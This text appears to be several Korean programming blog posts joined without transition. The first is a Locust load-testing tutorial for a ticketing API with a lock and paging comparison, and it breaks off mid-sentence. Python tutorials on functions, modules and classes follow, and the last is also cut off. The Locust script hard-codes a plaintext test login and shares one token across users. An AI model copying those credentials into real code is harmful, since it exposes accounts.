해당 PR을 날리고 정리한 글 이전 포스팅에서는 Redisson 분산 락(Distributed Lock)과 Facade 패턴을 도입하여 JUnit 다중 스레드 환경에서 동시성 문제(Race Condition)를 해결하는 과정을 다뤘다. 하지만 테스트 코드가 통과했다고 해서 실서비스에서도 안전하다고 단정할 수 있을까? 단일 JVM 메모리 안에서 스레드 풀을 돌리는 것과, 실제 수많은 유저가 네트워크(HTTP)를 타고 들어오는 부하 환경은 다르다. 실제 트래픽 환경에서는: 톰캣(Tomcat) 스레드 풀 경합과 실제 TCP 네트워크 커넥션 비용이 발생한다. Spring Security와 JWT 인증 필터 체인을 통과하는 CPU 오버헤드가 추가된다. 요청 역직렬화(Jackson) 및 네트워크 지연(Latency)이 동시성 경합 시간에 변수를 만든다. 이번 글에서는 오픈소스 부하 테스트 도구인 Locust 를 도입하여, 실제 HTTP 트래픽 환경에서 선착순 예매 API의 동시성 정합성(오버부킹 0%)을 검증하고, 튜닝 전 대조군(락 미적용, Offset 페이징)과 튜닝 후의 성능 격차를 하나의 대시보드에서 실측 비교한 전 과정을 기록한다. 파이썬 문법을 전혀 모르는 백엔드 개발자라도 이 글 하나만 보고 그대로 복사해 실행하면 스스로 부하 테스트 스크립트를 작성하고 튜닝 결과를 검증할 수 있도록 기초부터 트러블슈팅까지 아주 세세하게 작성했다. 1. 부하 테스트 도구 선정: 왜 JMeter가 아닌 Locust인가? 부하 테스트를 시작할 때 가장 많이 거론되는 3대장은 Apache JMeter , nGrinder , Locust 다. 비교 항목 Apache JMeter nGrinder Locust 시나리오 작성 방식 복잡한 GUI / 마우스 클릭 / XML Jython / Groovy 스크립트 순수 Python 코드 (Code-as-Test) 동시성 모델 1 User = 1 OS 스레드 (Heavy) 스레드 기반 (Heavy) 경량 비동기 코루틴 (gevent Event-loop) 형상 관리 (Git) XML 포맷이라 Diff/리뷰 어려움 별도 에이전트/컨트롤러 DB 관리 단일 .py 파일로 Git 버전 관리 완벽 로컬 리소스 소모 높음 (JVM 힙 메모리 부담) 보통 (인프라 구성 필요) 매우 낮음 (맥북 한 대로 수천 가상 유저 가능) 학습 곡선 GUI 메뉴 위치 외우느라 지침 환경 구축이 비교적 까다로움 파이썬 기초만 알면 10분 만에 스크립트 작성 내가 Locust를 선택한 결정적 이유 코드 기반의 테스트 (Code-as-Test) GUI 환경에서 클릭하며 헤더를 넣고 변수를 바인딩하는 방식은 형상 관리가 어렵고 협업하기 번거롭다. Locust는 익숙한 코드로 모든 로직(로그인 토큰 발급, 헤더 주입, 특정 상태 코드 예외 분기)을 완벽하게 통제할 수 있다. 비동기 코루틴( gevent )의 압도적 효율 JMeter는 가상 유저 1,000명을 만들려면 1,000개의 무거운 OS 스레드를 띄워야 한다. 그러다 보면 부하를 받는 서버가 아니라 부하를 쏘는 내 로컬 노트북이 먼저 뻗어버린다. 반면 Locust는 파이썬의 비동기 경량 코루틴 라이브러리인 gevent 를 사용하므로, 단일 스레드에서도 수천 개의 가상 유저(Greenlet)를 거뜬하게 시뮬레이션 한다. 3. 직관적인 실시간 Web UI 별도 플러그인 없이도 초당 처리량(RPS), 응답 시간 퍼센타일(p50, p95, p99), 에러율을 실시간 차트로 시각화해 준다. 2. Locust 설치 및 Mac 환경 트러블슈팅 2.1 Mac (Homebrew) 설치 터미널에서 아래 명령어를 입력하면 1분 만에 설치가 완료된다. # Homebrew를 통한 설치 (가장 추천) brew install locust # 설치 확인 locust --version # Locust 2.x.x 출력 확인 💡 트러블슈팅: pip install locust 시 PEP 668 에러 발생 최신 macOS(Python 3.11 이상)에서 pip3 install locust 를 날리면 다음과 같은 에러가 뜨면서 설치가 거부된다. error: externally-managed-environment 이는 Homebrew 파이썬 환경이 시스템 패키지 오염을 방지하기 위해 강제한 안전장치(PEP 668) 때문이다. 해결책 : 시스템 전역 pip 대신 위처럼 brew install locust 로 설치하거나, 별도 가상환경( python3 -m venv venv && source venv/bin/activate )을 만들어 설치하면 된다. 3. locustfile.py 해부 프로젝트 루트 디렉토리에 locustfile.py 라는 이름으로 파일을 만들면 Locust가 이를 자동으로 테스트 시나리오로 인식한다. 직접 작성한 전체 코드를 보고, 파이썬 문법을 라인별로 분석해 본다. 3.1 전체 스크립트 ( locustfile.py ) from locust import HttpUser, task, between # 전역 토큰 캐시 (모든 유저가 토큰을 공유하여 중복 로그인 방지) CACHED_TOKEN = None class TicketingUser(HttpUser): # 가상 유저 간 대기 시간 (0.1 ~ 0.5초) wait_time = between(0.1, 0.5) def on_start(self): """ 가상 유저 생성 시: 1. base_url 끝의 슬래시(/)를 안전하게 제거하여 더블 슬래시(//api/v1) 방지 2. JWT 토큰을 획득하여 세션 헤더에 주입 """ global CACHED_TOKEN if self.client.base_url: self.client.base_url = self.client.base_url.rstrip("/") if not CACHED_TOKEN: res = self.client.post( "/api/v1/users/login", json={"email": "admin@test.com", "password": "password123!"}, name="[Setup] JWT 토큰 발급 로그인" ) if res.status_code == 200: CACHED_TOKEN = res.json().get("data", {}).get("accessToken") print(f"[Locust] JWT 인증 토큰 발급 완료: {CACHED_TOKEN[:25]}...") elif res.status_code == 400 or res.status_code == 404: # 계정이 없는 경우 회원가입 후 재로그인 self.client.post( "/api/v1/users/signup", json={"email": "admin@test.com", "password": "password123!", "provider": "LOCAL"}, name="[Setup] 회원가입" ) res2 = self.client.post( "/api/v1/users/login", json={"email": "admin@test.com", "password": "password123!"}, name="[Setup] 재로그인" ) if res2.status_code == 200: CACHED_TOKEN = res2.json().get("data", {}).get("accessToken") if CACHED_TOKEN: self.client.headers["Authorization"] = f"Bearer {CACHED_TOKEN}" @task(3) def reserve_ticket(self): """ [최적화] 선착순 티켓 예매 (Redisson 분산 락 적용) """ ticket_id = 148 with self.client.post( f"/api/v1/orders/{ticket_id}", catch_response=True, name="/api/v1/orders/[ticketId] (분산 락 적용)" ) as response: if response.status_code == 200: response.success() elif response.status_code == 400: res_json = response.json() msg = res_json.get("message", "") if "매진" in msg or "SOLD_OUT" in msg or "락" in msg: response.success() else: response.failure(f"비즈니스 에러: {msg}") elif response.status_code == 401: response.failure("인증 실패 (401)") else: response.failure(f"서버 에러: {response.status_code}") @task(2) def reserve_ticket_without_lock(self): """ [대조군] 선착순 티켓 예매 (분산 락 미적용 - 동시성 충돌 유발) """ ticket_id = 148 with self.client.post( f"/api/v1/orders/{ticket_id}/no-lock", catch_response=True, name="/api/v1/orders/[ticketId]/no-lock (락 미적용)" ) as response: if response.status_code == 200: response.success() elif response.status_code == 400: res_json = response.json() msg = res_json.get("message", "") if "매진" in msg or "SOLD_OUT" in msg: response.success() else: response.failure(f"동시성 충돌/비즈니스 에러: {msg}") elif response.status_code == 401: response.failure("인증 실패 (401)") else: response.failure(f"서버 에러 (충돌): {response.status_code}") @task(1) def get_orders_no_offset(self): """ [최적화] 100만 건 대용량 주문 목록 No-Offset 커서 페이징 조회 (O(1) Seek 속도 검증) """ self.client.get( "/api/v1/orders?size=20", name="/api/v1/orders (No-Offset 커서 페이징)" ) @task(1) def get_orders_offset(self): """ [대조군] 100만 건 대용량 주문 목록 Offset 페이징 조회 (뒤쪽 4만 번째 페이지 Full Scan 지연 비교용) """ self.client.get( "/api/v1/orders/offset?page=40000&size=20", name="/api/v1/orders/offset (Offset 페이징 - page 40000)" ) @task(2) def get_ticket_detail(self): """ [공통] 티켓 단건 상세 조회 """ ticket_id = 148 self.client.get( f"/api/v1/tickets/{ticket_id}", name="/api/v1/tickets/[ticketId] (티켓 상세 조회)" ) 3.2 파이썬 문법 및 Locust API 해설 1. class TicketingUser(HttpUser) HttpUser 는 Locust에서 HTTP 통신을 수행하는 가상 유저(Virtual User)의 기본 뼈대 클래스 다. 자바의 class TicketingUser extends HttpUser 와 동일하다. 이 클래스를 상속받으면 각 가상 유저 객체마다 self.client 라는 내장 HTTP 클라이언트 세션( requests.Session 기반)을 자동으로 갖게 된다. 2. wait_time = between(0.1, 0.5) 실제 사용자는 API 요청을 0초 간격으로 무한 연타하지 않는다. 화면을 보거나 클릭을 망설이는 시간(Pacing)이 존재한다. between(0.1, 0.5) 는 하나의 작업을 마친 가상 유저가 다음 작업을 수행하기 전까지 0.1초~0.5초 사이의 랜덤한 시간 동안 휴식(Sleep) 하게 만든다. 3. def on_start(self): (초기화 라이프사이클 훅 & URL 정규화) JUnit의 @BeforeEach 와 완전히 동일한 역할을 한다. 가상 유저가 스폰(생성)될 때 딱 1번 실행된다. 가상 유저가 활동하기 전에 필요한 로그인, JWT 토큰 발급, 세션 헤더 주입 등의 사전 준비(Setup) 작업을 이곳에 배치한다. 특히 self.client.base_url = self.client.base_url.rstrip("/") 를 넣어 UI Host 끝에 실수로 붙은 슬래시를 자동 제거하여 //api/v1/... 로 인한 Spring Security 401 차단을 사전에 방어했다. 4. global CACHED_TOKEN (전역 토큰 캐싱을 통한 인증 부하 격리) 파이썬에서는 함수 안에서 전역 변수의 값을 수정하려면 global 변수명 을 명시해야 한다. 100명의 가상 유저가 모두 각자 로그인을 날리면 서버가 불필요한 인증 부하를 받으므로, 최초 1명의 유저가 토큰을 받아 전역 변수에 넣어두고 나머지 유저들이 이 토큰을 재사용하도록 설계했다. 5. 계정 자동 생성 Fallback 로직 ( elif res.status_code in (400, 404): ) DB가 방금 초기화되었거나 로컬 환경에 admin@test.com 계정이 아직 없다면 최초 로그인 호출 시 400 또는 404 가 발생한다. 이때 테스트가 에러를 뿜으며 멈추지 않도록, elif res.status_code == 400 or res.status_code == 404: 분기에서 POST /api/v1/users/signup 으로 관리자 계정을 즉시 자동 생성한 뒤 곧바로 재로그인( res2 )하여 토큰을 발급 받도록 처리했다. 즉, DB 데이터 상태와 무관하게 스크립트 스스로 계정을 만들고 복구하여 테스트를 완주시키는 방어 코드 다. 6. @task(가중치) 데코레이터 가상 유저가 수행할 반복 작업(시나리오)을 지정한다. 괄호 안의 숫자는 실행 확률(가중치, Weight) 을 뜻한다: 예매(분산 락 적용): @task(3) (비중: 3 / 9 = 33.3%) 예매(락 미적용 대조군): @task(2) (비중: 2 / 9 = 22.2%) 티켓 상세 조회: @task(2) (비중: 2 / 9 = 22.2%) No-Offset 커서 페이징: @task(1) (비중: 1 / 9 = 11.1%) Offset 페이징 대조군: @task(1) (비중: 1 / 9 = 11.1%) 이렇게 가중치를 두면 실제 사용자들이 티켓 상세를 구경하고, 목록을 보면서, 선착순 예매 버튼을 집중적으로 누르는 실제 트래픽 패턴을 완벽히 모사할 수 있다. 7. name="..." 파라미터 (URL 동적 파라미터 라벨 그룹화) 만약 self.client.post(f"/api/v1/orders/{ticket_id}") 를 그냥 호출하면, Locust 대시보드에 /api/v1/orders/1 , /api/v1/orders/2 처럼 URL별로 라인이 갈라져 통계가 엉망이 된다. name="/api/v1/orders/[ticketId]" 처럼 이름을 명시해 주면, 동적 파라미터가 포함된 요청도 하나의 통계 행으로 예쁘게 묶인다. 8. catch_response=True 와 response.success() 기본적으로 Locust는 HTTP 상태 코드가 4xx 나 5xx 이면 무조건 '에러(Failures)'로 집계한다. 하지만 선착순 티켓팅에서는 100장이 다 팔린 뒤 101번째 유저부터 400 Bad Request (티켓이 모두 매진되었습니다) 를 받는 것은 정상적인 비즈니스 로직의 성공 이다. 이때 catch_response=True 를 컨텍스트 매니저( with )와 함께 쓰면 Locust의 자동 판정을 가로채서 개발자가 직접 판단할 수 있다: with self.client.post(..., catch_response=True) as response: if response.status_code == 400 and ("매진" in msg or "SOLD_OUT" in msg or "락" in msg): response.success() # 400 코드지만 통계상 성공으로 기록! else: response.failure("진짜 서버 장애") 4. 실전 부하 테스트 중 마주친 6가지 트러블슈팅 실제 서버를 띄우고 테스트를 진행하면서 수많은 에로사항을 마주쳤다. 이 문제들을 하나씩 파헤치고 해결한 과정이 이번 테스트의 가장 큰 수확이었다. 🔥 Issue 1. 가상 유저 100명이 동시 가입을 시도하여 BCrypt CPU 100% 폭주 현상 : 테스트 시작 버튼을 누르자마자 스프링 부트 서버의 CPU가 100%로 치솟으며 서버가 뻗었다. 원인 : 각 가상 유저마다 고유 계정을 만들어 주려고 on_start() 안에서 일제히 POST /api/v1/users/signup 을 때리도록 짰었다. 스프링 시큐리티의 BCryptPasswordEncoder 는 무차별 대입 공격을 막기 위해 의도적으로 수천 번의 해시 연산을 돌리는 무거운 CPU 바운드 작업이다. 100명이 찰나의 순간에 동시 가입을 시도하자 톰캣 스레드 100개가 일제히 암호화 연산에 매달리며 CPU를 장악하고 DB 커넥션 풀을 고갈시켰다. 해결 : 본 테스트의 목적은 '분산 락 선착순 예매' 와 '페이징 조회' 를 검증하려는 것이지, 암호화 알고리즘 벤치마크를 하는 것이 아니다. 사전 등록된 관리자 계정으로 로그인하여 토큰을 획득하고 메모리에 캐싱( CACHED_TOKEN )하여 전원이 공유하도록 변경했다. 🔥 Issue 2. Host 끝 슬래시( / )로 인한 100% 401 예외 (응답 크기 70 bytes) 현상 : Locust Web UI의 Host 입력창에 http://localhost:8080/ 를 적고 실행했더니 모든 요청이 100% 실패(Failures 100%)하고, 응답 크기가 정확히 70 bytes 로 찍혔다. 원인 : Host 끝에 / 가 붙은 상태에서 코드의 self.client.post("/api/v1/orders/148") 와 결합되면서 실제 요청 주소가 http://localhost:8080//api/v1/orders/148 처럼 더블 슬래시( // )가 되었다. Spring Security의 AntPathMatcher 는 // 가 들어간 비정상 URL을 화이트리스트( /api/v1/users/** )와 매칭하지 못하고 기본 규칙인 anyRequest().authenticated() 로 넘겨버렸다. 결국 인증되지 않은 요청으로 간주되어 CustomAuthenticationEntryPoint 가 동작했고, 70바이트짜리 에러 응답( {"code":"401","message":"Full authentication is required..."} )을 뱉었던 것이다. 해결 : Locust 코드 시작 시 self.client.base_url = self.client.base_url.rstrip("/") 를 넣어 주소 끝의 슬래시를 무조건 강제 제거하도록 방어 코드를 작성했다. 🔥 Issue 3. 파이썬 프로세스 미재시작으로 인한 '코드 미반영' 버그 현상 : locustfile.py 코드를 고쳤는데도 계속해서 이전과 똑같은 401 에러가 발생했다. 원인 : 백그라운드에서 이미 실행 중이던 파이썬 Locust 프로세스는 파일이 수정되어도 자동으로 리로드되지 않는다. 메모리 상에는 이전에 띄워둔 구버전 코드가 그대로 돌고 있었기 때문이다. 해결 : 실행 중이던 Locust 프로세스( ps -ef | grep locust )를 완전히 kill -9 로 종료한 뒤 새 코드로 다시 띄워 해결했다. 🔥 Issue 4. DB 초기화 후 비밀번호 해시 불일치로 인한 401 에러 현상 : 테스트 후 DB를 다시 복구하는 과정에서 admin@test.com 계정의 비밀번호 해시를 임의의 문자열로 넣었더니, Locust가 로그인할 때 "이메일 또는 비밀번호가 올바르지 않습니다(401)"가 발생했다. 원인 : 로그인이 실패하니 가상 유저들에게 JWT 토큰이 발급되지 못했고, 토큰 없이 보호된 API를 때리다 보니 연쇄적으로 모든 테스트가 401을 맞았다. 해결 : 스
Python을 조금만 공부하다 보면 같은 코드를 여러 번 작성하게 된다. 처음에는 복사해서 붙여넣어도 되지만 코드가 커질수록 수정해야 할 장소가 늘어나고, 로직의 의도도 파악하기 어려워진다. 이 문제를 해결하는 핵심 도구가 함수, 모듈, 패키지 다. 이 글에서는 작은 코드 조각을 함수로 묶는 것부터 여러 파일로 프로그램을 분리하는 방법까지 정리한다. 함수가 필요한 이유 예를 들어 여러 주문의 할인 금액을 계산한다고 해보자. price = 50000 discount = price * 0.1 final_price = price - discount 비슷한 계산을 여러 곳에서 반복한다면 함수로 분리하는 편이 좋다. def calculate_discount_price(price, rate): discount = price * rate return price - discount 이제 필요한 곳에서 호출할 수 있다. result = calculate_discount_price(50000, 0.1) print(result) 함수의 핵심은 반복되는 로직에 이름을 붙여 재사용하는 것 이다. 함수 정의와 호출 함수는 def 로 정의한다. def greet(): print("안녕하세요.") 호출: greet() 매개변수와 인자 def greet(name): print(f"안녕하세요, {name}님.") 여기서 name 은 매개변수(parameter) 다. greet("kim") 호출할 때 전달한 "kim" 은 인자(argument) 다. 반환값 return def add(a, b): return a + b result = add(10, 20) print(result) return 을 만나는 순간 함수 실행도 종료된다. def validate_age(age): if age < 0: return False return True 반환값이 없으면 어떻게 될까? 명시적인 return 이 없는 함수는 None 을 반환한다. def print_message(): print("hello") result = print_message() print(result) 여러 값을 반환하기 Python에서는 여러 값을 쉼표로 나열해서 반환할 수 있다. def get_order_summary(): total_price = 82000 order_count = 4 return total_price, order_count 받을 때는 언패킹할 수 있다. total, count = get_order_summary() 실제로 반환되는 값은 튜플이다. 지역 변수와 스코프 함수 안에서 만든 변수는 기본적으로 함수 내부에서만 사용할 수 있다. def process(): message = "processing" print(message) process() 아래 코드는 오류가 난다. print(message) message 는 함수의 지역 변수이기 때문이다. 함수 밖의 값을 읽기 tax_rate = 0.1 def calculate_tax(price): return price * tax_rate 함수 내부에서 외부 값을 읽는 것은 가능하다. 하지만 외부 상태에 지나치게 의존하면 함수의 동작을 이해하기 어려워진다. 가능하면 필요한 값은 인자로 전달하는 편이 명확하다. def calculate_tax(price, tax_rate): return price * tax_rate global 은 신중하게 사용하자 request_count = 0 def increase_count(): global request_count request_count += 1 동작은 하지만 프로그램 규모가 커질수록 상태 변경 위치를 추적하기 어려워질 수 있다. 가능하면 값을 반환하고 외부에서 갱신하는 구조가 더 단순하다. def increase_count(count): return count + 1 request_count = 0 request_count = increase_count(request_count) 기본 인자 def request_api(timeout=3): print(f"timeout: {timeout}초") request_api() request_api(10) 변경 가능한 객체를 기본값으로 사용하지 말자 다음 코드는 예상치 못한 결과를 만들 수 있다. def add_item(item, items=[]): items.append(item) return items 기본값 객체는 함수가 호출될 때마다 새로 만들어지는 것이 아니라 함수 정의 시 한 번 만들어진다. 안전한 패턴은 None 을 사용하는 것이다. def add_item(item, items=None): if items is None: items = [] items.append(item) return items 키워드 인자 def create_user(name, age=20, active=True): return { "name": name, "age": age, "active": active, } user = create_user( name="kim", active=False, ) 매개변수 이름을 직접 지정하면 호출 코드를 읽었을 때 각 값의 의미가 분명해진다. *args 정해지지 않은 개수의 위치 인자를 받을 때 사용한다. def total(*numbers): return sum(numbers) print(total(10, 20, 30)) 함수 내부에서 numbers 는 튜플이다. **kwargs 정해지지 않은 개수의 키워드 인자를 받을 때 사용한다. def print_options(**options): for key, value in options.items(): print(key, value) print_options( timeout=3, retries=5, debug=True, ) options 는 딕셔너리다. 인자 언패킹 def add(a, b): return a + b numbers = [10, 20] print(add(*numbers)) 딕셔너리는 ** 를 사용한다. def create_user(name, age): return { "name": name, "age": age, } data = { "name": "lee", "age": 28, } user = create_user(**data) Docstring def calculate_total(prices): """주어진 가격 목록의 총합을 반환한다.""" return sum(prices) __doc__ 로 확인할 수 있다. print(calculate_total.__doc__) help() 도 docstring을 활용한다. help(calculate_total) 함수를 작게 만드는 이유 좋은 함수는 보통 하나의 분명한 역할을 가진다. 다음 함수는 너무 많은 일을 한다. def process_order(order): # 검증 # 할인 계산 # 결제 # 데이터베이스 저장 # 이메일 전송 ... 역할별로 분리하면 테스트와 수정이 쉬워진다. def validate_order(order): ... def calculate_order_total(order): ... def save_order(order): ... def send_order_email(order): ... 함수는 단순히 코드 줄 수를 줄이는 도구가 아니라 프로그램의 책임을 나누는 단위 다. 모듈이란? Python에서는 .py 파일 하나를 모듈로 사용할 수 있다. price_utils.py def calculate_discount(price, rate): return price * (1 - rate) 다른 파일에서 불러올 수 있다. import price_utils price = price_utils.calculate_discount(50000, 0.1) print(price) 함수 하나보다 더 큰 단위의 재사용이 필요할 때 모듈을 사용한다. import 가 하는 일 import math print(math.sqrt(16)) 모듈 내부의 이름은 마침표로 접근한다. math.sqrt math.pi 이 방식은 이름의 출처가 명확하다는 장점이 있다. from ... import ... from math import sqrt print(sqrt(16)) 간단하지만 같은 이름을 가진 함수가 많아질 경우 출처를 파악하기 어려울 수 있다. 대규모 코드에서는 다음처럼 명시적인 형태가 더 읽기 쉬운 경우가 많다. import math math.sqrt(16) import * 를 피하는 이유 from some_module import * 어떤 이름이 현재 네임스페이스에 들어왔는지 코드만 보고 판단하기 어려워진다. 이름 충돌 가능성도 커진다. __name__ == "__main__" Python 파일은 직접 실행할 수도 있고 다른 파일에서 import할 수도 있다. 두 상황을 구분할 때 다음 패턴을 자주 사용한다. def main(): print("프로그램 실행") if __name__ == "__main__": main() 직접 실행하면 main() 이 호출된다. python app.py 하지만 다른 파일에서 import하면 자동 실행되지 않는다. import app 모듈 검색 경로 sys.path import sys for path in sys.path: print(path) ModuleNotFoundError 가 발생했을 때 중요한 확인 포인트다. dir() 와 help() import math print(dir(math)) help(math.sqrt) 인터넷 검색 없이도 실행 환경 안에서 객체의 기본 정보를 확인할 수 있다. 패키지란? 프로젝트가 커지면 모듈도 많아진다. 이때 여러 모듈을 디렉터리 단위로 묶어 관리하는 구조가 패키지 다. my_app/ main.py services/ __init__.py user_service.py order_service.py utils/ __init__.py date_utils.py price_utils.py main.py 에서는 다음처럼 사용할 수 있다. from services.user_service import create_user from utils.price_utils import calculate_discount __init__.py 는 항상 필수일까? 과거에는 패키지 디렉터리에 __init__.py 가 반드시 필요했다. 현재 Python에는 namespace package 도 있기 때문에 모든 상황에서 필수는 아니다. 하지만 일반 애플리케이션 프로젝트에서는 패키지 경계를 명확하게 보여주고 초기화 코드를 둘 수 있다는 이유로 여전히 흔하게 사용된다. __pycache__ 와 .pyc 모듈을 실행하거나 import하면 디렉터리에 다음과 같은 폴더가 생길 수 있다. __pycache__/ 그 안에는 바이트코드 캐시인 .pyc 파일이 생성될 수 있다. 직접 수정할 파일은 아니다. Git 저장소에서도 일반적으로 제외한다. __pycache__/ *.pyc 표준 라이브러리와 외부 패키지 내장 기능 별도의 import 없이 사용 가능하다. len() print() sum() range() 표준 라이브러리 Python과 함께 제공되지만 import가 필요하다. import json import pathlib import datetime 외부 패키지 별도 설치가 필요하다. python -m pip install requests import requests 프로젝트 구조 예제 order_app/ main.py services/ __init__.py order_service.py utils/ __init__.py price.py utils/price.py def calculate_total(prices): return sum(prices) services/order_service.py from utils.price import calculate_total def create_order(prices): total = calculate_total(prices) return { "items": len(prices), "total": total, } main.py from services.order_service import create_order def main(): order = create_order([12000, 8000, 30000]) print(order) if __name__ == "__main__": main() 함수와 모듈을 나누는 기준 같은 코드가 두 번 이상 반복되는가? 하나의 코드 블록에 명확한 이름을 붙일 수 있는가? 함수가 한 가지 역할보다 너무 많은 일을 하는가? 한 파일에 서로 다른 책임의 함수가 너무 많이 모여 있는가? 다른 프로젝트에서도 다시 사용할 가능성이 있는가? 이 질문 중 여러 개에 해당한다면 함수나 모듈 분리를 고려해볼 수 있다. 핵심 정리 함수는 반복되는 로직을 이름 붙여 재사용하는 가장 기본적인 단위다. 매개변수와 반환값을 명확하게 만들수록 함수의 의존성이 줄어든다. 기본 인자에는 리스트나 딕셔너리 같은 변경 가능한 객체를 직접 두지 않는 것이 안전하다. *args , **kwargs 는 가변 개수의 인자를 다룰 때 사용한다. .py 파일 하나는 하나의 모듈이 될 수 있으며 import 로 재사용할 수 있다. __name__ == "__main__" 패턴을 이용하면 직접 실행과 import 상황을 구분할 수 있다. 여러 모듈이 모이면 패키지 단위로 구조화할 수 있다. dir() , help() , sys.path 를 알면 Python 객체와 import 문제를 스스로 탐색하기 쉬워진다.
Python에서는 숫자, 문자열, 리스트뿐 아니라 우리가 직접 정의한 데이터도 객체로 만들 수 있다. 프로그램이 커질수록 서로 관련된 데이터와 기능을 하나의 단위로 묶고 싶은 상황 이 생긴다. 이때 사용하는 대표적인 방법이 객체지향 프로그래밍이다. 이 글에서는 Python의 클래스와 객체를 처음 접하는 관점에서 다음 내용을 정리한다. 클래스와 인스턴스 self __init__ 인스턴스 변수와 클래스 변수 메서드 상속 특수 메서드 클래스는 왜 필요할까? 사용자 데이터를 딕셔너리로 표현할 수 있다. user = { "name": "kim", "point": 1000, } 포인트를 증가시키는 함수도 만들 수 있다. def add_point(user, amount): user["point"] += amount 작은 프로그램에서는 충분하다. 하지만 사용자와 관련된 데이터와 기능이 계속 늘어나면 이런 요구가 생긴다. 사용자의 이름과 포인트를 함께 관리하고 싶다. 포인트를 증가시키는 로직도 사용자와 묶고 싶다. 사용자 상태를 검증하는 기능도 추가하고 싶다. 같은 구조의 사용자를 여러 명 만들고 싶다. 이럴 때 클래스 를 사용할 수 있다. 클래스와 인스턴스 클래스는 객체를 만들기 위한 사용자 정의 타입이라고 이해할 수 있다. class User: pass 이 클래스로 실제 객체를 만든다. user = User() user 는 User 클래스의 인스턴스 다. print(type(user)) 메서드 클래스 내부에 정의된 함수를 메서드라고 부른다. class User: def say_hello(self): print("안녕하세요.") 호출: user = User() user.say_hello() self 는 무엇일까? 인스턴스 메서드의 첫 번째 매개변수에는 관례적으로 self 를 사용한다. class User: def say_hello(self): print("안녕하세요.") self 는 현재 메서드를 호출한 인스턴스 자신 을 가리킨다. 다음 호출을 보자. user = User() user.say_hello() 개념적으로는 다음과 연결해서 이해할 수 있다. User.say_hello(user) Python이 인스턴스를 첫 번째 인자로 전달해주기 때문에 호출할 때 직접 self 를 넘기지 않는다. __init__ 으로 객체 초기화하기 객체를 만들 때 필요한 초기값을 넣고 싶다면 __init__() 을 사용한다. class User: def __init__(self, name, point): self.name = name self.point = point 객체 생성: user = User( "kim", 1000, ) print(user.name) print(user.point) self.name , self.point 는 각 인스턴스가 보유하는 데이터다. 데이터와 메서드를 함께 묶기 class User: def __init__( self, name, point=0, ): self.name = name self.point = point def add_point( self, amount, ): self.point += amount def get_summary(self): return ( f"{self.name}: " f"{self.point}P" ) 사용: user = User("kim") user.add_point(500) user.add_point(300) print(user.get_summary()) kim: 800P 사용자의 상태와 상태를 변경하는 기능이 하나의 클래스 안에 모였다. 인스턴스 변수 각 객체마다 독립적으로 가지는 값을 인스턴스 변수라고 한다. class User: def __init__(self, name): self.name = name user1 = User("kim") user2 = User("lee") print(user1.name) print(user2.name) 각 인스턴스의 name 은 서로 독립적이다. 클래스 변수 모든 인스턴스가 공유하는 값은 클래스 변수로 만들 수 있다. class User: service_name = "My Service" def __init__(self, name): self.name = name user1 = User("kim") user2 = User("lee") print(user1.service_name) print(user2.service_name) 둘 다 같은 클래스 변수에 접근한다. 변경 가능한 클래스 변수 주의하기 다음 코드는 주의가 필요하다. class User: tags = [] 모든 인스턴스가 같은 리스트를 공유한다. user1 = User() user2 = User() user1.tags.append( "python" ) print(user2.tags) user2 에서도 "python" 이 보인다. 각 객체마다 독립적인 리스트가 필요하다면 __init__() 에서 만든다. class User: def __init__(self): self.tags = [] 클래스 메서드 @classmethod 는 첫 번째 인자로 클래스 자체를 받는다. class User: default_point = 100 def __init__( self, name, point, ): self.name = name self.point = point @classmethod def create_default( cls, name, ): return cls( name, cls.default_point, ) user = User.create_default( "kim" ) print(user.point) 대체 생성자 같은 패턴에 활용할 수 있다. 정적 메서드 @staticmethod 는 인스턴스나 클래스 상태를 자동으로 받지 않는다. class User: @staticmethod def is_valid_name(name): return len(name) >= 2 print( User.is_valid_name( "kim" ) ) 단순 유틸리티 함수라면 반드시 클래스 안에 넣어야 하는 것은 아니다. 내부 구현을 나타내는 _ Python에서는 Java의 private 처럼 강한 접근 제한자를 중심으로 설계하지 않는다. 관례적으로 외부에서 직접 사용하지 않기를 바라는 속성이나 메서드 앞에 _ 를 붙인다. class Wallet: def __init__(self): self._balance = 0 이것은 강제적인 보안 장벽이 아니라 내부 구현이라는 의도를 전달하는 관례 에 가깝다. 상속 기존 클래스의 기능을 물려받아 새로운 클래스를 만들 수 있다. class Account: def __init__( self, email, ): self.email = email def login(self): print( f"{self.email} 로그인" ) 관리자 계정: class AdminAccount( Account ): def delete_user( self, user_id, ): print( f"{user_id}번 " "사용자 삭제" ) 사용: admin = AdminAccount( "admin@example.com" ) admin.login() admin.delete_user(10) AdminAccount 에 login() 을 직접 작성하지 않았지만 부모 클래스에서 상속받았다. 메서드 오버라이딩 자식 클래스에서 부모의 메서드를 다시 정의할 수 있다. class Notification: def send( self, message, ): print( f"알림: {message}" ) class EmailNotification( Notification ): def send( self, message, ): print( f"이메일 발송: " f"{message}" ) notification = ( EmailNotification() ) notification.send( "회원가입 완료" ) 자식 클래스의 send() 가 실행된다. super() 부모 클래스의 구현을 활용하면서 기능을 확장하고 싶을 때 사용한다. class Account: def __init__( self, email, ): self.email = email class AdminAccount( Account ): def __init__( self, email, level, ): super().__init__( email ) self.level = level super() 를 이용하면 부모 클래스 이름을 직접 하드코딩하는 것보다 상속 구조 변화에 대응하기 쉽다. 다형성과 Duck Typing 같은 메서드 이름을 가진 객체들을 동일한 방식으로 다룰 수 있다. class EmailSender: def send( self, message, ): print( f"Email: {message}" ) class SmsSender: def send( self, message, ): print( f"SMS: {message}" ) senders = [ EmailSender(), SmsSender(), ] for sender in senders: sender.send( "결제가 완료되었습니다." ) 호출 코드는 객체의 정확한 클래스보다 send() 라는 필요한 동작을 제공하는지에 집중한다. 이런 특성은 Python의 duck typing 과 연결된다. 특수 메서드 Python 객체는 __이름__ 형태의 특수 메서드를 구현해서 내장 문법과 연결될 수 있다. __str__ 객체를 사람이 읽기 좋은 문자열로 표현한다. class User: def __init__( self, name, ): self.name = name def __str__(self): return ( f"User(" f"name={self.name}" f")" ) user = User("kim") print(user) __len__ len() 과 연결할 수 있다. class Team: def __init__( self, members, ): self.members = members def __len__(self): return len( self.members ) team = Team( ["kim", "lee", "park"] ) print(len(team)) __getitem__ 인덱싱 문법을 지원할 수 있다. class Team: def __init__( self, members, ): self.members = members def __getitem__( self, index, ): return self.members[ index ] team = Team( ["kim", "lee"] ) print(team[0]) 비교 연산자 < 동작을 정의하려면 __lt__() 를 구현할 수 있다. class Product: def __init__( self, price, ): self.price = price def __lt__( self, other, ): return ( self.price < other.price ) a = Product(10000) b = Product(20000) print(a < b) 객체지향을 무조건 써야 할까? 그렇지 않다. 간단한 